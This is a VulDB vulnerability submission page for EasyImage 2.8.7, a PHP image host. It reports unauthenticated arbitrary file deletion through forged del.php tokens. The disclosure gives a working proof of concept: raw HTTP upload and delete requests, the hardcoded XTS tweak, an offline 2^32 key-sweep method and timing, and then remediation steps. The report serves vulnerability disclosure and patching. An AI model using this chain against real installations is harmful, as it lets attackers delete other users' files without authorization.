Invia #1004976: icret EasyImages2.0 / EasyImage (PHP image hosting) 2.8.7 (APP_VERSION; master branch, commit dcb9776cb9567b9280306471a66d96b4b733a0a1, 2026-08-22) Arbitrary File Deletioninformazioni

Titoloicret EasyImages2.0 / EasyImage (PHP image hosting) 2.8.7 (APP_VERSION; master branch, commit dcb9776cb9567b9280306471a66d96b4b733a0a1, 2026-08-22) Arbitrary File Deletion
DescrizioneSummary Every upload returns a delete link `app/del.php?hash=<token>`; the token is AES-128-XTS of the file path with key `(string)crc32($config['password'])` (32 bits, hardcoded tweak). In `del.php` the `$_GET['hash']` branch runs **before** the admin authentication gate, so a forged or recovered token deletes any hosted file with no session. Because anonymous upload is on by default, the attacker's own upload provides a known-plaintext/ciphertext pair, and the 2^32 key space falls to a ~14-minute offline sweep — after which tokens for any predictable `/i/YYYY/MM/DD/` path can be forged byte-identically to server-issued links. Reproduction Step 1 — attacker uploads own canary and receives a legitimate token (known-plaintext pair): ```http POST /app/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----poc ------poc Content-Disposition: form-data; name="file"; filename="canary.png" <binary> ------poc-- HTTP/1.1 200 OK {"result":"success","code":200,"url":"http://<HOST>/i/2026/09/29/canary.png", "del":"http://<HOST>/app/del.php?hash=<LEGIT_TOKEN>"} ``` Step 2 — recover the 32-bit key fully offline (trial-decrypt the known pair for every candidate; full-plaintext equality filter): ``` key = (string)i, i in [0, 2^32), AES-128-XTS, tweak 'sciCuBC7orQtDhTO' verified sweep: full 2^32 in 850.7 s (~14 min, 16 parallel PHP workers, ~650k candidates/s single thread; 213 prefix false positives rejected) ``` Step 3 — forge a token for the target path (deterministic cipher ⇒ byte-identical to what the server itself would issue) and delete it with no session: ```http GET /app/del.php?hash=<FORGED_TOKEN_FOR_/i/2026/09/29/victim.png> HTTP/1.1 HTTP/1.1 200 OK {"code":200,"msg":"删除成功","type":"success","icon":"ok-sign","mode":"delete", "url":"\/i\/2026\/09\/29\/victim.png"} ``` Contrast control — without a `hash` parameter the gate applies: ```http POST /app/del.php HTTP/1.1 mode=delete&url=/i/2026/09/29/xxx.png Permission denied ``` Both configured deletion modes were exercised: `image_recycl=1` (default) moves the file to `/i/recycle/` (file gone from its URL); `image_recycl=0` permanently unlinks it from disk. Remediation 1. Move the `$_GET['hash']` branch behind the `is_who_login('admin')` gate (or require an authenticated, authorized delete session for all paths). 2. Replace the `crc32($config['password'])` key derivation with a random per-install 256-bit key stored outside predictable config constants. 3. Validate the resolved path stays under the uploads root (`realpath()` + prefix check) before `@unlink()`. 4. Consider requiring a per-file random secret in delete links (not derivable from the global password).
Fonte⚠️ https://gist.github.com/yyz8097/bc58546872ad90208d2b35260d84b1d9
Utente
 yyz8097 (UID 100479)
Sottomissione29/09/2026 11:58 (28 giorni fa)
Moderazione25/10/2026 14:13 (26 days later)
StatoAccettato
Voce VulDB426203 [icret EasyImage fino a 2.8.7 app/del.php hash escalationi di privilegi]
Punti20

Do you want to use VulDB in your project?

Use the official API to access entries easily!